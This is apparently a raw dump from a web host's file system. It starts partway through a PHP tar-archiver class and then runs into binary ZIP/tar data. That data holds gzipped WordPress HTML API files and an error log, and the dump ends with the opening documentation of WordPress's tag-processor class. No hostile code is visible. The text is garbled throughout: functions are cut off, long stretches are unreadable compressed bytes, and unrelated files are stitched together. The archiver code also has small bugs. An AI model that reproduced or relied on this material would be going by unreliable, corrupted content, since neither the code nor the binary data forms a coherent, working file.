          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKgN\�i���,class-wp-html-attribute-token.php.php.tar.gznu�[�����V�o�8�k�W��"ߗ���l݆;`7C�>:���BmI���a��(�vb��q���M(�G���J"36J��d��U�i��,�Ԁ��13#��G4%��(h��|�[6�򖉡Jԣ�\�f�z��?���&��l<����@�t6��`���%7�h�_�
��+lZwtvօ3x��������\G�K��p�p�4u�W��[�ap#u|��?�+���1@��G61�N�c�>�A�J�.�Ű��_�dJK��R1@ &���:�6G�5�yEE�T�;d��r��Ukb,����!斁b�3�y
�;-n�d���2-H�ɹ+ɵW�gA6�u��w,��uj̟o�e-5�?��S)�X�%�v�&�L���d�n��:I��
����X�'O�UP�N$�knv��w;�'ĩ�@���:��ݠRn�v-�R��n'�x윟w�`�$Ϳ	�����"b����F�#�,3�S�$�����k�P����BwX v�2em��]°ou���@�������q��}!��)��,E������n���=�G�:x�5��M�&���.���$/:���(�E#))1�<�����~�VR����B��C��[.>���0��[s7�X�M�ij�%��������T����"�۰�=%������}2�Cxh]�|PS�
d����{4a��=(>��=\	�Z����8�E=�ҹ�R1�t
�T��c��u�p<y7	î6#�l[����巌��i��M���x+Ex��>
�kJ�pH�r���[5�e���X\gq�V�uQ�;L��g����%u�ZL+L1���&d�S��j�+�r}�#�E�V�k`w���R�b96�XB�OBﻯ�[�\P�A!�hI�'���Z���N��2�9>uO|��]?xY�ʼ|�+��C�,TG���ϛdeYkv�l�՚L�`jE6�(v�t�t���� � ��|�WyPKgN\6��-��error_log.tar.gznu�[�����KoG�}֯h�{���4Ç(�!����0�9,Ƙ�\�Cb8��<����. VMؤ��:,"	lŦ>}U����g��O5��/����M/?-�'�p�������2M.���W��g����u��_O��d�$��~��u�~�t����A��d��p�k���O񽀯���W��t�.M��^�������x�~ΫrR�e�T���IY��}^M���-_�c7)�&���hҼ���b�p��M��u���dg����/\=w�pX,�.�������.�z����tU4�w��E���tt�M��u�էg�{��n���v
��_���.*7.�QQ-�8�/\>���~n�TQ6oU�_�H;�d���?�^��������֤W.�g�^�^��i���7����uB	�_�=m�5�N�T2
�2L�WU<|š \�͛�Χn3E�
��ݸv��|�e޸iԭ�Gz�*��z������S>[�����١�Y��tO��𣫫|Xd'/��,����8W�����+�i��d��Jj����&jG�J�Hs̢n:�@�f�#Zls�@�V�ǀx�l!{A;�0*���i�Y�6�Dy�YFm�
P�D��nB%��(e  ���RTF�4��B��d�c��7@��e����YܵfqK�����4��6Q;��Z{2���GT?Kn8�4��A���(�!���h4&*QWYj۷�0DQz�-4�,��x����߁Dy�}{Q��{�Q>hO *��@{Q�(�'����v;��|8>=k��V�����j�9���%����]�A���_��ֻ�T���FV
bJ�@�LB��A����R��Q^h���Q��\�7#D�����3Dy����3Dy����3Dy�E7Cf����)=��������n�L�e�.��@ehhqUF�p�e�U��hv~��@
"���n�`Dy��Dy��pD���Dy��Dy��Dy�a[)��N���&`Z\+�`�W��xkl=���-4��0Q��Q.�n�1QQ��\S�Bs̢�/Lj�B���F5�5e���44ԚU�ad����r�e�1���(�5��hBg�u�^g}��Zh��"j@������[f��ʇR
�24�!������`�V�o?6��m4����k�(�,*��6L���o?6��m4ЊO�1Q1�J)'Zh��b�P
nm�'�ۏ�*�*��+�rƨ��Q"Zt�&�~�g��4��Q��Zh�Y��,F��e�6�PY
C�P���U��u�t74X3�j�^�a���ݲ"L�թ; �~lV�h�M{��D���9Q��L��(�#�T�L�|�u^�o?6��m4�1��Eis	�(/4˨-��Lc����\�i�Y�2bDih�=C���Q&�D�Dy
�1
�]ϼ[|HQ^acdj�^�adjۍ�d�������B�����0�P�2
#�LԎh��I��Mԁh��*��DE%
�#Ә��E�v�"P��s
�xkl]Զ�L���@���A��eET����ie�vDC�O�4&*VQ�5����z<��j|�0,�37j��[���=߃p�Z�����dZ\�.�U���$�5���f�~q���fv�l������uQn��m��+,������������߫F�w�lQ5ipzv�"����<~x�<@�S�4��A�SDih�}j����L���
�O-�0D�ve�����­�0�c���FCm#�4`Q�
!a­�) �~lV�h�s2�1���Q^h�Q�h�2��2Q{Q
Z��.� 2*�(��YF!EYF��:� �02�D�Ey�7��P'8��7Q����8�4&�D�=bDih��{���Q&
-�+���:"�02�/�X�@��	�V�PGdFe�6re�(��Lc���ڟ�iLTL����$��D��}�Qj7I�ad���
�I"Ә(���	���v�dFF�z�2��2Q&�[��Qj7I�adjsA�1Q&j� JCC���4��Bm.�4&�D�=Dih�]���Q&
-�+�×^'��v�J>�‰�
�eR���ٮRi�8=s��!���TiLTT�8N��D���'+Q���02�D��i�4&�D�=bDih���J��(��ߌ����UFF����RT�S�1QQ�B��Lc�LԾ��Q
Z5F�4��꠶�d�(��U*
Cj�J�a�B��e�(T�S����>X��-�k
o�
Հ�i�!�EWa��}��=Y�AT��b�R:Qj@}֯��@C�W�>9�(m ��B���FC���O]���b��6�(4�!�q�&�04�S�T�c�LV�44��F�k4�E�ws8QZ~D)h�{7�4��2Q���΂PoI�FC�!�@�D���GQoθFCM8	��c��&+Q�E�����FC����2QQ��FL�(-E��K�d������oF�N�h4����4��%J�9fQ�@@�fe��F��4�(�A2��DE%
ԏ�h�:Y���DuQ�U���_T\��|m#�*�CI�aT���ј�xD�P-m��E�=�(

t N�adTQ^aCd�]�� 2�Zah4�Eu{�+YU�c%
Q[h�4��`6r�hgTZ<�����^@s�-�u��̕$m4�+�-��n��#TF�j�T�s?�6�����`�˔o����l�AT��[e
�_�*�:K ��6@e���ƈ�� M�6FFA�FQh��02
�(<�(-��![hH�W�Ey2I
"�(�h�9fQZ~D)h]P�\�AdT Q^acd�m4���9i�a�5 5�c�
Q
�fUm4��"��5��T�N�a���4��rƹ��E�-Q�͢� 2�43�h�@��!�rj���!
5��i�P�(�!�r��6�(��@�9fQʬ� JB�'��h�g���3Wi�83s��!�33Wi�R��\�a����U��7y�O]QU�j#k���Ƶ�>�P���e>��~�z2/3��{~���:�.�~yɲn$�#7[-7G�We���	ע�̫��Ἴ/�͉��di:�>yW�Ï���a���Hz��;�e�m��U���|���Ȟ���Hݯ�|R�~�\=�����{��H��,�TD
tP��L��Yt�4Q��o*�Ӌzf/{��^{��M/!�PKgN\T7��[["class-wp-html-token.php.php.tar.gznu�[�����WQo�6�k�+]'�-�F�ɲ4�V�@�h��Pi��Ӥ@RV�-�}w�dI��f���!|H"��x���L��,�&��,/RDa�VrV�S�"Y����Ŕ�bIf�����\y�?{p��z}z:���^���^�zyzz2?;;�����+8y8�?�
�#������+����x�������9�ބ�~��h@6or-Y��V���p�ol�h6�q�Q���!�����g�樷��*.�ǰ؀�*_ȍ�0�6F��~�K�9�-�n����hA(D��p��udԹ΄��?��"Ux6��q���l��i��@�XD6h+���!��B�4a|��E�ct@�9@�_؊�N`��r��"m�ҹVq
���D��C'��1�����ɏ��knAib�K�̜�]��NH	�����H+��oM�<*�b(T̍��q��Jf�9VZc����dQs`�c���9����6$i�}�f��Jϳ�A�_�9:�8/AR^���t�/@꒛��œ�[D`��)7ρ!W�N��\�WX�m�?���c�E0H�5�b�t!c�F<61z�O�������z�V�Gԇp�W�ی�5_�X9&��n��dIMm�d�]W�D���9Rm�ʌ���b�����%�Q�B�k�C�w�[�bm��F����1<��e��|�GY`s%��Lm��w�l�td���'�SŒِ���+�^B¤��z~��E��-��%��q��(��Iˬ���6qT)h1��l�#`LH��u��0�x�\6v�@�G�&.T>�ٗ���X
lr����T��k|ځ6! Lm��D�:��6{Lۿ��@��O��1=��&"�[&%j��e��Rf8Ħ���ȑf���@������8�C�0[H�A��i�nCIh�[E��)D��Z�j�q��*�e���ՠ���O��vu�Y�?Rך-jc
o��h���YX�/��?�+��~��=�q��v���`�뮮��	��T�b/�gE�W�`�۟~{;-&�r($/��y)�|;5z����9�#���
ևUx�����ODV�a��`b"�ңj����kN��d�
5�\�~�]*:`��nJ
Y�I�|z�o�ڶH��a5=pW���9i����IU��JN�A9�~pD�Z/h>On�˝.Z�V/�����p�����0����]vq��]Gr~��ܯ��׎�U���æԇ���Q]�2
�#&�����#�z�p˖��QR�o�d�� ���HJ���2�KP���>j��׈{���ۏן>�!0n��_cw�Wp�v����c����n�_�G�����zZ�[��J�PKgN\g���VV#class-wp-html-tag-processor.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-tag-processor.php000064400000447050151440277770023567 0ustar00<?php
/**
 * HTML API: WP_HTML_Tag_Processor class
 *
 * Scans through an HTML document to find specific tags, then
 * transforms those tags by adding, removing, or updating the
 * values of the HTML attributes within that tag (opener).
 *
 * Does not fully parse HTML or _recurse_ into the HTML structure
 * Instead this scans linearly through a document and only parses
 * the HTML tag openers.
 *
 * ### Possible future direction for this module
 *
 *  - Prune the whitespace when removing classes/attributes: e.g. "a b c" -> "c" not " c".
 *    This would increase the size of the changes for some operations but leave more
 *    natural-looking output HTML.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used to modify attributes in an HTML document for tags matching a query.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *  1. Create a new class instance with your input HTML document.
 *  2. Find the tag(s) you are looking for.
 *  3. Request changes to the attributes in those tag(s).
 *
 * Example:
 *
 *     $tags = new WP_HTML_Tag_Processor( $html );
 *     if ( $tags->next_tag( 'option' ) ) {
 *         $tags->set_attribute( 'selected', true );
 *     }
 *
 * ### Finding tags
 *
 * The `next_tag()` function moves the internal cursor through
 * your input HTML document until it finds a tag meeting any of
 * the supplied restrictions in the optional query argument. If
 * no argument is provided then it will find the next HTML tag,
 * regardless of what kind it is.
 *
 * If you want to _find whatever the next tag is_:
 *
 *     $tags->next_tag();
 *
 * | Goal                                                      | Query                                                                           |
 * |-----------------------------------------------------------|---------------------------------------------------------------------------------|
 * | Find any tag.                                             | `$tags->next_tag();`                                                            |
 * | Find next image tag.                                      | `$tags->next_tag( array( 'tag_name' => 'img' ) );`                              |
 * | Find next image tag (without passing the array).          | `$tags->next_tag( 'img' );`                                                     |
 * | Find next tag containing the `fullwidth` CSS class.       | `$tags->next_tag( array( 'class_name' => 'fullwidth' ) );`                      |
 * | Find next image tag containing the `fullwidth` CSS class. | `$tags->next_tag( array( 'tag_name' => 'img', 'class_name' => 'fullwidth' ) );` |
 *
 * If a tag was found meeting your criteria then `next_tag()`
 * will return `true` and you can proceed to modify it. If it
 * returns `false`, however, it failed to find the tag and
 * moved the cursor to the end of the file.
 *
 * Once the cursor reaches the end of the file the processor
 * is done and if you want to reach an earlier tag you will
 * need to recreate the processor and start over, as it's
 * unable to back up or move in reverse.
 *
 * See the section on bookmarks for an exception to this
 * no-backing-up rule.
 *
 * #### Custom queries
 *
 * Sometimes it's necessary to further inspect an HTML tag than
 * the query syntax here permits. In these cases one may further
 * inspect the search results using the read-only functions
 * provided by the processor or external state or variables.
 *
 * Example:
 *
 *     // Paint up to the first five DIV or SPAN tags marked with the "jazzy" style.
 *     $remaining_count = 5;
 *     while ( $remaining_count > 0 && $tags->next_tag() ) {
 *         if (
 *              ( 'DIV' === $tags->get_tag() || 'SPAN' === $tags->get_tag() ) &&
 *              'jazzy' === $tags->get_attribute( 'data-style' )
 *         ) {
 *             $tags->add_class( 'theme-style-everest-jazz' );
 *             $remaining_count--;
 *         }
 *     }
 *
 * `get_attribute()` will return `null` if the attribute wasn't present
 * on the tag when it was called. It may return `""` (the empty string)
 * in cases where the attribute was present but its value was empty.
 * For boolean attributes, those whose name is present but no value is
 * given, it will return `true` (the only way to set `false` for an
 * attribute is to remove it).
 *
 * #### When matching fails
 *
 * When `next_tag()` returns `false` it could mean different things:
 *
 *  - The requested tag wasn't found in the input document.
 *  - The input document ended in the middle of an HTML syntax element.
 *
 * When a document ends in the middle of a syntax element it will pause
 * the processor. This is to make it possible in the future to extend the
 * input document and proceed - an important requirement for chunked
 * streaming parsing of a document.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( 'This <div is="a" partial="token' );
 *     false === $processor->next_tag();
 *
 * If a special element (see next section) is encountered but no closing tag
 * is found it will count as an incomplete tag. The parser will pause as if
 * the opening tag were incomplete.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// there could be more styling to come' );
 *     false === $processor->next_tag();
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// this is everything</style><div>' );
 *     true === $processor->next_tag( 'DIV' );
 *
 * #### Special self-contained elements
 *
 * Some HTML elements are handled in a special way; their start and end tags
 * act like a void tag. These are special because their contents can't contain
 * HTML markup. Everything inside these elements is handled in a special way
 * and content that _appears_ like HTML tags inside of them isn't. There can
 * be no nesting in these elements.
 *
 * In the following list, "raw text" means that all of the content in the HTML
 * until the matching closing tag is treated verbatim without any replacements
 * and without any parsing.
 *
 *  - IFRAME allows no content but requires a closing tag.
 *  - NOEMBED (deprecated) content is raw text.
 *  - NOFRAMES (deprecated) content is raw text.
 *  - SCRIPT content is plaintext apart from legacy rules allowing `</script>` inside an HTML comment.
 *  - STYLE content is raw text.
 *  - TITLE content is plain text but character references are decoded.
 *  - TEXTAREA content is plain text but character references are decoded.
 *  - XMP (deprecated) content is raw text.
 *
 * ### Modifying HTML attributes for a found tag
 *
 * Once you've found the start of an opening tag you can modify
 * any number of the attributes on that tag. You can set a new
 * value for an attribute, remove the entire attribute, or do
 * nothing and move on to the next opening tag.
 *
 * Example:
 *
 *     if ( $tags->next_tag( array( 'class_name' => 'wp-group-block' ) ) ) {
 *         $tags->set_attribute( 'title', 'This groups the contained content.' );
 *         $tags->remove_attribute( 'data-test-id' );
 *     }
 *
 * If `set_attribute()` is called for an existing attribute it will
 * overwrite the existing value. Similarly, calling `remove_attribute()`
 * for a non-existing attribute has no effect on the document. Both
 * of these methods are safe to call without knowing if a given attribute
 * exists beforehand.
 *
 * ### Modifying CSS classes for a found tag
 *
 * The tag processor treats the `class` attribute as a special case.
 * Because it's a common operation to add or remove CSS classes, this
 * interface adds helper methods to make that easier.
 *
 * As with attribute values, adding or removing CSS classes is a safe
 * operation that doesn't require checking if the attribute or class
 * exists before making changes. If removing the only class then the
 * entire `class` attribute will be removed.
 *
 * Example:
 *
 *     // from `<span>Yippee!</span>`
 *     //   to `<span class="is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="excited">Yippee!</span>`
 *     //   to `<span class="excited is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="is-active heavy-accent">Yippee!</span>`
 *     //   to `<span class="is-active heavy-accent">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<input type="text" class="is-active rugby not-disabled" length="24">`
 *     //   to `<input type="text" class="is-active not-disabled" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" class="rugby" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 * When class changes are enqueued but a direct change to `class` is made via
 * `set_attribute` then the changes to `set_attribute` (or `remove_attribute`)
 * will take precedence over those made through `add_class` and `remove_class`.
 *
 * ### Bookmarks
 *
 * While scanning through the input HTMl document it's possible to set
 * a named bookmark when a particular tag is found. Later on, after
 * continuing to scan other tags, it's possible to `seek` to one of
 * the set bookmarks and then proceed again from that point forward.
 *
 * Because bookmarks create processing overhead one should avoid
 * creating too many of them. As a rule, create only bookmarks
 * of known string literal names; avoid creating "mark_{$index}"
 * and so on. It's fine from a performance standpoint to create a
 * bookmark and update it frequently, such as within a loop.
 *
 *     $total_todos = 0;
 *     while ( $p->next_tag( array( 'tag_name' => 'UL', 'class_name' => 'todo' ) ) ) {
 *         $p->set_bookmark( 'list-start' );
 *         while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
 *             if ( 'UL' === $p->get_tag() && $p->is_tag_closer() ) {
 *                 $p->set_bookmark( 'list-end' );
 *                 $p->seek( 'list-start' );
 *                 $p->set_attribute( 'data-contained-todos', (string) $total_todos );
 *                 $total_todos = 0;
 *                 $p->seek( 'list-end' );
 *                 break;
 *             }
 *
 *             if ( 'LI' === $p->get_tag() && ! $p->is_tag_closer() ) {
 *                 $total_todos++;
 *             }
 *         }
 *     }
 *
 * ## Tokens and finer-grained processing.
 *
 * It's possible to scan through every lexical token in the
 * HTML document using the `next_token()` function. This
 * alternative form takes no argument and provides no built-in
 * query syntax.
 *
 * Example:
 *
 *      $title = '(untitled)';
 *      $text  = '';
 *      while ( $processor->next_token() ) {
 *          switch ( $processor->get_token_name() ) {
 *              case '#text':
 *                  $text .= $processor->get_modifiable_text();
 *                  break;
 *
 *              case 'BR':
 *                  $text .= "\n";
 *                  break;
 *
 *              case 'TITLE':
 *                  $title = $processor->get_modifiable_text();
 *                  break;
 *          }
 *      }
 *      return trim( "# {$title}\n\n{$text}" );
 *
 * ### Tokens and _modifiable text_.
 *
 * #### Special "atomic" HTML elements.
 *
 * Not all HTML elements are able to contain other elements inside of them.
 * For instance, the contents inside a TITLE element are plaintext (except
 * that character references like &amp; will be decoded). This means that
 * if the string `<img>` appears inside a TITLE element, then it's not an
 * image tag, but rather it's text describing an image tag. Likewise, the
 * contents of a SCRIPT or STYLE element are handled entirely separately in
 * a browser than the contents of other elements because they represent a
 * different language than HTML.
 *
 * For these elements the Tag Processor treats the entire sequence as one,
 * from the opening tag, including its contents, through its closing tag.
 * This means that the it's not possible to match the closing tag for a
 * SCRIPT element unless it's unexpected; the Tag Processor already matched
 * it when it found the opening tag.
 *
 * The inner contents of these elements are that element's _modifiable text_.
 *
 * The special elements are:
 *  - `SCRIPT` whose contents are treated as raw plaintext but supports a legacy
 *    style of including JavaScript inside of HTML comments to avoid accidentally
 *    closing the SCRIPT from inside a JavaScript string. E.g. `console.log( '</script>' )`.
 *  - `TITLE` and `TEXTAREA` whose contents are treated as plaintext and then any
 *    character references are decoded. E.g. `1 &lt; 2 < 3` becomes `1 < 2 < 3`.
 *  - `IFRAME`, `NOSCRIPT`, `NOEMBED`, `NOFRAME`, `STYLE` whose contents are treated as
 *    raw plaintext and left as-is. E.g. `1 &lt; 2 < 3` remains `1 &lt; 2 < 3`.
 *
 * #### Other tokens with modifiable text.
 *
 * There are also non-elements which are void/self-closing in nature and contain
 * modifiable text that is part of that individual syntax token itself.
 *
 *  - `#text` nodes, whose entire token _is_ the modifiable text.
 *  - HTML comments and tokens that become comments due to some syntax error. The
 *    text for these tokens is the portion of the comment inside of the syntax.
 *    E.g. for `<!-- comment -->` the text is `" comment "` (note the spaces are included).
 *  - `CDATA` sections, whose text is the content inside of the section itself. E.g. for
 *    `<![CDATA[some content]]>` the text is `"some content"` (with restrictions [1]).
 *  - "Funky comments," which are a special case of invalid closing tags whose name is
 *    invalid. The text for these nodes is the text that a browser would transform into
 *    an HTML comment when parsing. E.g. for `</%post_author>` the text is `%post_author`.
 *  - `DOCTYPE` declarations like `<DOCTYPE html>` which have no closing tag.
 *  - XML Processing instruction nodes like `<?wp __( "Like" ); ?>` (with restrictions [2]).
 *  - The empty end tag `</>` which is ignored in the browser and DOM.
 *
 * [1]: There are no CDATA sections in HTML. When encountering `<![CDATA[`, everything
 *      until the next `>` becomes a bogus HTML comment, meaning there can be no CDATA
 *      section in an HTML document containing `>`. The Tag Processor will first find
 *      all valid and bogus HTML comments, and then if the comment _would_ have been a
 *      CDATA section _were they to exist_, it will indicate this as the type of comment.
 *
 * [2]: XML allows a broader range of characters in a processing instruction's target name
 *      and disallows "xml" as a name, since it's special. The Tag Processor only recognizes
 *      target names with an ASCII-representable subset of characters. It also exhibits the
 *      same constraint as with CDATA sections, in that `>` cannot exist within the token
 *      since Processing Instructions do no exist within HTML and their syntax transforms
 *      into a bogus comment in the DOM.
 *
 * ## Design and limitations
 *
 * The Tag Processor is designed to linearly scan HTML documents and tokenize
 * HTML tags and their attributes. It's designed to do this as efficiently as
